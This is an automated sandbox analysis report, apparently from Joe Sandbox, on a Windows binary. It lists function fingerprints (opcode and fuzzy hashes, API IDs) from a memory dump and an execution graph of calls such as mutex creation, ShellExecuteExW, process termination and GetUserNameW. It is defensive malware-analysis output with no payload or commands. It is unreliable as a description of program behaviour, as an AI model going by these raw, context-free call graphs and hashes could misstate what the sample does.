                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_10_2_4990000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 4066021419-0
                                                                                                                                                                                                                                                                • Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
                                                                                                                                                                                                                                                                • Instruction ID: 12ba906415c355c742506f0866f96b7c0c70f0e43e7042376a670aa6a46e212e
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: B911B2B16012186BFB266B259F00BAA739CDF40668F800436FE4CA6661FA31B90042D4
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 049A2670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, Offset: 04990000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_10_2_4990000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _memset
                                                                                                                                                                                                                                                                • String ID: D
                                                                                                                                                                                                                                                                • API String ID: 2102423945-2746444292
                                                                                                                                                                                                                                                                • Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
                                                                                                                                                                                                                                                                • Instruction ID: 63ea95a0a4c9fe072db8416ff08abae3a15a04ce2b35fbb30936e6e0f1eb6bcb
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 0BE17D71D0021AABDF24DFA0DD89FEEB7B8BF04304F1440B9E509A6190EB74AA55CF94
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0499D8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, Offset: 04990000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_10_2_4990000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _memset
                                                                                                                                                                                                                                                                • String ID: $$$(
                                                                                                                                                                                                                                                                • API String ID: 2102423945-3551151888
                                                                                                                                                                                                                                                                • Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
                                                                                                                                                                                                                                                                • Instruction ID: db217c442befdd36d62bb3b887c03f8b7294cd668f6c874a56a6d4422ffb2c74
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: A891AD71D00218AEEF20DFA4C899BEEBBF4AF05308F144169D40577280DBB66A48CBA5
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 049B5CE1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, Offset: 04990000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_10_2_4990000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _wcsnlen
                                                                                                                                                                                                                                                                • String ID: U
                                                                                                                                                                                                                                                                • API String ID: 3628947076-3372436214
                                                                                                                                                                                                                                                                • Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
                                                                                                                                                                                                                                                                • Instruction ID: e0ed7a82d38d830119e6432ffd25cc9cc6b22b94c7fe03ce2955c0d8f5812159
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 44212B32244208BAEB009AA49D45BFE73ADDB85678F514575F988C7190FA70FD408AE4
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 049AA810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, Offset: 04990000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_10_2_4990000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _memset
                                                                                                                                                                                                                                                                • String ID: p2Q
                                                                                                                                                                                                                                                                • API String ID: 2102423945-1521255505
                                                                                                                                                                                                                                                                • Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
                                                                                                                                                                                                                                                                • Instruction ID: 63acfab81b954b353043546a8bb3740301aeed625fe5593b0af8c544bd70c6d5
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 57F06D78688750A9F7217750FC26B853E807B71B08F004098E1582E2E0D3FD338CA3DA
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 049DFBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • std::exception::exception.LIBCMT ref: 049DFBF1
                                                                                                                                                                                                                                                                  • Part of subcall function 049C169C: std::exception::_Copy_str.LIBCMT ref: 049C16B5
                                                                                                                                                                                                                                                                • __CxxThrowException@8.LIBCMT ref: 049DFC06
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, Offset: 04990000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_10_2_4990000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
                                                                                                                                                                                                                                                                • String ID: TeM$TeM
                                                                                                                                                                                                                                                                • API String ID: 3662862379-3870166017
                                                                                                                                                                                                                                                                • Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
                                                                                                                                                                                                                                                                • Instruction ID: 276f9aaa9d513531fcbb3fffad7eddec99a0c6e2d54710af8e472e8a6f4ce1bf
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: ADD06775C0020CBBDB00EFA5D45ACDDBBB8AA44348F008466A91497241EA74A7498F99
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0499D0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                  • Part of subcall function 049B197D: __wfsopen.LIBCMT ref: 049B1988
                                                                                                                                                                                                                                                                • _fgetws.LIBCMT ref: 0499D15C
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, Offset: 04990000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_10_2_4990000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: __wfsopen_fgetws
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 853134316-0
                                                                                                                                                                                                                                                                • Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
                                                                                                                                                                                                                                                                • Instruction ID: 42e82bc2df0ff20ceb2524f9ce869d15b7c881241efe8ecc2501f54a626f66cf
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: F4919071D00219ABEF24DFA8C9857AEB7F9AF44308F140639E855A3240E779BE14CBD1
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0499D540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, Offset: 04990000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_10_2_4990000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _malloc$__except_handler4_fprintf
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1783060780-0
                                                                                                                                                                                                                                                                • Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
                                                                                                                                                                                                                                                                • Instruction ID: 152d619f2aa6b2abb7fc6c9c3fc574f0b81eb1778d86d9d67d9a9119695b08c5
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: B3A182B0C00249EBEF11EFD4C849BEEBBB5AF55308F140178D50577291D7B66A48CBA6
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 049B2AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, Offset: 04990000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_10_2_4990000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _memset$__filbuf__getptd_noexit__read_nolock
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 2974526305-0
                                                                                                                                                                                                                                                                • Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
                                                                                                                                                                                                                                                                • Instruction ID: 1f390873b387b4f92d99e39485619aecb806ad0caa7b0064b496bfcc9ea9eeda
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 0351C534A00315DFDB298F698A885EE77B9EF41724F1487B9E8B5962D0DB70B950CBC0
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 049D1359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, Offset: 04990000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_10_2_4990000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: __cftoe_l__cftof_l__cftog_l__fltout2
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3016257755-0
                                                                                                                                                                                                                                                                • Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
                                                                                                                                                                                                                                                                • Instruction ID: 55f7666f657ab17663c0d014d02200f848dd2f4f5ef6794babb900cf8478a57c
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: B101483340018ABBCF166E84DC02CEE7F67BB59354B488525FA9959830D236E5B2AB81
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 04A57A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • ___BuildCatchObject.LIBCMT ref: 04A57A4B
                                                                                                                                                                                                                                                                  • Part of subcall function 04A58140: ___BuildCatchObjectHelper.LIBCMT ref: 04A58172
                                                                                                                                                                                                                                                                  • Part of subcall function 04A58140: ___AdjustPointer.LIBCMT ref: 04A58189
                                                                                                                                                                                                                                                                • _UnwindNestedFrames.LIBCMT ref: 04A57A62
                                                                                                                                                                                                                                                                • ___FrameUnwindToState.LIBCMT ref: 04A57A74
                                                                                                                                                                                                                                                                • CallCatchBlock.LIBCMT ref: 04A57A98
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, Offset: 04990000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_10_2_4990000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 2901542994-0
                                                                                                                                                                                                                                                                • Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
                                                                                                                                                                                                                                                                • Instruction ID: 2f17a66a55adb809147d0dd059999b8bf3310ab20cc32d7a0fc63617f98394e2
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 4001E936000109BBDF12AF55DE00EDA7BBAFF58758F558014FE18A6131D736E9A1DBA0
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Execution Graph

                                                                                                                                                                                                                                                                Execution Coverage:2%
                                                                                                                                                                                                                                                                Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                                                                                Signature Coverage:33%
                                                                                                                                                                                                                                                                Total number of Nodes:805
                                                                                                                                                                                                                                                                Total number of Limit Nodes:91
                                                                                                                                                                                                                                                                execution_graph 43980 423f84 43981 423f90 type_info::_Type_info_dtor 43980->43981 44017 432603 GetStartupInfoW 43981->44017 43984 423f95 44019 4278d5 GetProcessHeap 43984->44019 43985 423fed 43986 423ff8 43985->43986 44349 42411a 58 API calls 3 library calls 43985->44349 44020 425141 43986->44020 43989 423ffe 43990 424009 __RTC_Initialize 43989->43990 44350 42411a 58 API calls 3 library calls 43989->44350 44041 428754 43990->44041 43993 424018 43994 424024 GetCommandLineW 43993->43994 44351 42411a 58 API calls 3 library calls 43993->44351 44060 43235f GetEnvironmentStringsW 43994->44060 43997 424023 43997->43994 44000 42403e 44001 424049 44000->44001 44352 427c2e 58 API calls 3 library calls 44000->44352 44070 4321a1 44001->44070 44005 42405a 44084 427c68 44005->44084 44008 424062 44009 42406d __wwincmdln 44008->44009 44354 427c2e 58 API calls 3 library calls 44008->44354 44090 419f90 44009->44090 44012 424081 44013 424090 44012->44013 44346 427f3d 44012->44346 44355 427c59 58 API calls _doexit 44013->44355 44016 424095 type_info::_Type_info_dtor 44018 432619 44017->44018 44018->43984 44019->43985 44356 427d6c 36 API calls 2 library calls 44020->44356 44022 425146 44357 428c48 InitializeCriticalSectionAndSpinCount __ioinit 44022->44357 44024 42514b 44025 42514f 44024->44025 44359 4324f7 TlsAlloc 44024->44359 44358 4251b7 61 API calls 2 library calls 44025->44358 44028 425154 44028->43989 44029 425161 44029->44025 44030 42516c 44029->44030 44360 428c96 44030->44360 44033 4251ae 44368 4251b7 61 API calls 2 library calls 44033->44368 44036 42518d 44036->44033 44038 425193 44036->44038 44037 4251b3 44037->43989 44367 42508e 58 API calls 4 library calls 44038->44367 44040 42519b GetCurrentThreadId 44040->43989 44042 428760 type_info::_Type_info_dtor 44041->44042 44380 428af7 44042->44380 44044 428767 44045 428c96 __calloc_crt 58 API calls 44044->44045 44046 428778 44045->44046 44047 4287e3 GetStartupInfoW 44046->44047 44049 428783 type_info::_Type_info_dtor @_EH4_CallFilterFunc@8 44046->44049 44048 428927 44047->44048 44055 4287f8 44047->44055 44050 4289ef 44048->44050 44053 428974 GetStdHandle 44048->44053 44054 428987 GetFileType 44048->44054 44388 43263e InitializeCriticalSectionAndSpinCount 44048->44388 44049->43993 44389 4289ff LeaveCriticalSection _doexit 44050->44389 44052 428c96 __calloc_crt 58 API calls 44052->44055 44053->44048 44054->44048 44055->44048 44055->44052 44057 428846 44055->44057 44056 42887a GetFileType 44056->44057 44057->44048 44057->44056 44387 43263e InitializeCriticalSectionAndSpinCount 44057->44387 44061 432370 44060->44061 44062 424034 44060->44062 44392 428cde 58 API calls 2 library calls 44061->44392 44066 431f64 GetModuleFileNameW 44062->44066 44064 4323ac FreeEnvironmentStringsW 44064->44062 44065 432396 _signal 44065->44064 44067 431f98 _wparse_cmdline 44066->44067 44069 431fd8 _wparse_cmdline 44067->44069 44393 428cde 58 API calls 2 library calls 44067->44393 44069->44000 44071 42404f 44070->44071 44072 4321ba __W_Getmonths_l 44070->44072 44071->44005 44353 427c2e 58 API calls 3 library calls 44071->44353 44073 428c96 __calloc_crt 58 API calls 44072->44073 44080 4321e3 __W_Getmonths_l 44073->44080 44074 43223a 44395 420bed 58 API calls 2 library calls 44074->44395 44076 428c96 __calloc_crt 58 API calls 44076->44080 44077 43225f 44396 420bed 58 API calls 2 library calls 44077->44396 44080->44071 44080->44074 44080->44076 44080->44077 44081 432276 44080->44081 44394 42962f 58 API calls ___wstrgtold12_l 44080->44394 44397 4242fd 8 API calls 2 library calls 44081->44397 44083 432282 44086 427c74 __IsNonwritableInCurrentImage 44084->44086 44398 43aeb5 44086->44398 44087 427c92 __initterm_e 44089 427cb1 _doexit __IsNonwritableInCurrentImage 44087->44089 44401 4219ac 67 API calls __cinit 44087->44401 44089->44008 44091 419fa0 __write_nolock 44090->44091 44402 40cf10 44091->44402 44093 419fb0 44094 419fc4 GetCurrentProcess GetLastError SetPriorityClass 44093->44094 44095 419fb4 44093->44095 44097 419fe4 GetLastError 44094->44097 44098 419fe6 44094->44098 44626 4124e0 109 API calls _memset 44095->44626 44097->44098 44416 41d3c0 44098->44416 44099 419fb9 44099->44012 44102 41a022 44419 41d340 44102->44419 44103 41b669 44724 44f23e 59 API calls 2 library calls 44103->44724 44105 41b673 44725 44f23e 59 API calls 2 library calls 44105->44725 44110 41a065 44424 413a90 44110->44424 44114 41a159 GetCommandLineW CommandLineToArgvW lstrcpyW 44116 41a33d GlobalFree 44114->44116 44130 41a196 44114->44130 44115 41a100 44115->44114 44117 41a354 44116->44117 44118 41a45c 44116->44118 44119 412220 76 API calls 44117->44119 44480 412220 44118->44480 44121 41a359 44119->44121 44123 41a466 44121->44123 44495 40ef50 44121->44495 44122 41a1cc lstrcmpW lstrcmpW 44122->44130 44123->44012 44125 41a24a lstrcpyW lstrcpyW lstrcmpW lstrcmpW 44125->44130 44126 420235 60 API calls _LangCountryEnumProc@4 44126->44130 44127 41a48f 44129 41a4ef 44127->44129 44500 413ea0 44127->44500 44131 411cd0 92 API calls 44129->44131 44130->44116 44130->44122 44130->44125 44130->44126 44132 41a361 44130->44132 44133 41a563 44131->44133 44440 423c92 44132->44440 44167 41a5db 44133->44167 44521 414690 44133->44521 44136 41a395 OpenProcess 44137 41a402 44136->44137 44138 41a3a9 WaitForSingleObject CloseHandle 44136->44138 44443 411cd0 44137->44443 44138->44137 44141 41a3cb 44138->44141 44139 41a6f9 44628 411a10 8 API calls 44139->44628 44157 41a3e2 GlobalFree 44141->44157 44158 41a3d4 Sleep 44141->44158 44627 411ab0 PeekMessageW DispatchMessageW PeekMessageW 44141->44627 44142 41a6fe 44146 41a8b6 CreateMutexA 44142->44146 44147 41a70f 44142->44147 44143 41a5a9 44149 414690 59 API calls 44143->44149 44152 41a8ca 44146->44152 44151 41a7dc 44147->44151 44162 40ef50 58 API calls 44147->44162 44154 41a5d4 44149->44154 44150 41a40b GetCurrentProcess GetExitCodeProcess TerminateProcess CloseHandle 44155 41a451 44150->44155 44159 40ef50 58 API calls 44151->44159 44156 40ef50 58 API calls 44152->44156 44153 41a624 GetVersion 44153->44139 44160 41a632 lstrcpyW lstrcatW lstrcatW 44153->44160 44544 40d240 CoInitialize 44154->44544 44155->44012 44170 41a8da 44156->44170 44163 41a3f7 44157->44163 44158->44136 44164 41a7ec 44159->44164 44165 41a674 _memset 44160->44165 44172 41a72f 44162->44172 44163->44012 44166 41a7f1 lstrlenA 44164->44166 44169 41a6b4 ShellExecuteExW 44165->44169 44630 420c62 44166->44630 44167->44139 44167->44142 44167->44146 44167->44153 44169->44142 44191 41a6e3 44169->44191 44173 413ea0 59 API calls 44170->44173 44185 41a92f 44170->44185 44171 41a810 _memset 44175 41a81e MultiByteToWideChar lstrcatW 44171->44175 44174 413ea0 59 API calls 44172->44174 44177 41a780 44172->44177 44173->44170 44174->44172 44175->44166 44176 41a847 lstrlenW 44175->44176 44178 41a8a0 CreateMutexA 44176->44178 44179 41a856 44176->44179 44180 41a792 44177->44180 44181 41a79c CreateThread 44177->44181 44178->44152 44647 40e760 95 API calls 44179->44647 44629 413ff0 59 API calls _signal 44180->44629 44181->44151 44186 41a7d0 44181->44186 45029 41dbd0 95 API calls 4 library calls 44181->45029 44184 41a860 CreateThread WaitForSingleObject 44184->44178 45030 41e690 203 API calls 8 library calls 44184->45030 44648 415c10 44185->44648 44186->44151 44188 41a98c 44663 412840 60 API calls 44188->44663 44190 41a997 44664 410fc0 93 API calls 4 library calls 44190->44664 44191->44012 44193 41a9ab 44194 41a9c2 lstrlenA 44193->44194 44194->44191 44195 41a9d8 44194->44195 44196 415c10 59 API calls 44195->44196 44197 41aa23 44196->44197 44665 412840 60 API calls 44197->44665 44199 41aa2e lstrcpyA 44201 41aa4b 44199->44201 44202 415c10 59 API calls 44201->44202 44203 41aa90 44202->44203 44204 40ef50 58 API calls 44203->44204 44205 41aaa0 44204->44205 44206 413ea0 59 API calls 44205->44206 44207 41aaf5 44205->44207 44206->44205 44666 413ff0 59 API calls _signal 44207->44666 44209 41ab1d 44667 412900 44209->44667 44211 40ef50 58 API calls 44213 41abc5 44211->44213 44212 41ab28 _memmove 44212->44211 44214 413ea0 59 API calls 44213->44214 44215 41ac1e 44213->44215 44214->44213 44672 413ff0 59 API calls _signal 44215->44672 44217 41ac46 44218 412900 60 API calls 44217->44218 44220 41ac51 _memmove 44218->44220 44219 40ef50 58 API calls 44221 41acee 44219->44221 44220->44219 44222 413ea0 59 API calls 44221->44222 44223 41ad43 44221->44223 44222->44221 44673 413ff0 59 API calls _signal 44223->44673 44225 41ad6b 44226 412900 60 API calls 44225->44226 44229 41ad76 _memmove 44226->44229 44227 415c10 59 API calls 44228 41ae2a 44227->44228 44674 413580 59 API calls 44228->44674 44229->44227 44231 41ae3c 44232 415c10 59 API calls 44231->44232 44233 41ae76 44232->44233 44675 413580 59 API calls 44233->44675 44235 41ae82 44236 415c10 59 API calls 44235->44236 44237 41aebc 44236->44237 44676 413580 59 API calls 44237->44676 44239 41aec8 44240 415c10 59 API calls 44239->44240 44241 41af02 44240->44241 44677 413580 59 API calls 44241->44677 44243 41af0e 44244 415c10 59 API calls 44243->44244 44245 41af48 44244->44245 44678 413580 59 API calls 44245->44678 44247 41af54 44248 415c10 59 API calls 44247->44248 44249 41af8e 44248->44249 44679 413580 59 API calls 44249->44679 44251 41af9a 44252 415c10 59 API calls 44251->44252 44253 41afd4 44252->44253 44680 413580 59 API calls 44253->44680 44255 41afe0 44681 413100 59 API calls 44255->44681 44257 41b001 44682 413580 59 API calls 44257->44682 44259 41b025 44683 413100 59 API calls 44259->44683 44261 41b03c 44684 413580 59 API calls 44261->44684 44263 41b059 44685 413100 59 API calls 44263->44685 44265 41b070 44686 413580 59 API calls 44265->44686 44267 41b07c 44687 413100 59 API calls 44267->44687 44269 41b093 44688 413580 59 API calls 44269->44688 44271 41b09f 44689 413100 59 API calls 44271->44689 44273 41b0b6 44690 413580 59 API calls 44273->44690 44275 41b0c2 44691 413100 59 API calls 44275->44691 44277 41b0d9 44692 413580 59 API calls 44277->44692 44279 41b0e5 44693 413100 59 API calls 44279->44693 44281 41b0fc 44694 413580 59 API calls 44281->44694 44283 41b108 44285 41b130 44283->44285 44695 41cdd0 59 API calls 44283->44695 44286 40ef50 58 API calls 44285->44286 44287 41b16e 44286->44287 44289 41b1a5 GetUserNameW 44287->44289 44696 412de0 59 API calls 44287->44696 44290 41b1c9 44289->44290 44697 412c40 44290->44697 44292 41b1d8 44704 412bf0 59 API calls 44292->44704 44294 41b1ea 44705 40ecb0 60 API calls 2 library calls 44294->44705 44296 41b2f5 44708 4136c0 59 API calls 44296->44708 44298 41b308 44709 40ca70 59 API calls 44298->44709 44300 41b311 44710 4130b0 59 API calls 44300->44710 44302 412c40 59 API calls 44317 41b1f3 44302->44317 44303 41b322 44711 40c740 120 API calls 4 library calls 44303->44711 44305 412900 60 API calls 44305->44317 44306 41b327 44712 4111c0 169 API calls 2 library calls 44306->44712 44309 41b33b 44713 41ba10 LoadCursorW RegisterClassExW 44309->44713 44311 41b343 44714 41ba80 CreateWindowExW ShowWindow UpdateWindow 44311->44714 44313 413100 59 API calls 44313->44317 44314 41b34b 44318 41b34f 44314->44318 44715 410a50 65 API calls 44314->44715 44317->44296 44317->44302 44317->44305 44317->44313 44706 413580 59 API calls 44317->44706 44707 40f1f0 59 API calls 44317->44707 44318->44191 44319 41b379 44716 413100 59 API calls 44319->44716 44321 41b3a5 44717 413580 59 API calls 44321->44717 44323 41b48b 44723 41fdc0 CreateThread 44323->44723 44325 41b49f GetMessageW 44326 41b4ed 44325->44326 44327 41b4bf 44325->44327 44328 41b502 PostThreadMessageW 44326->44328 44329 41b55b 44326->44329 44330 41b4c5 TranslateMessage DispatchMessageW GetMessageW 44327->44330 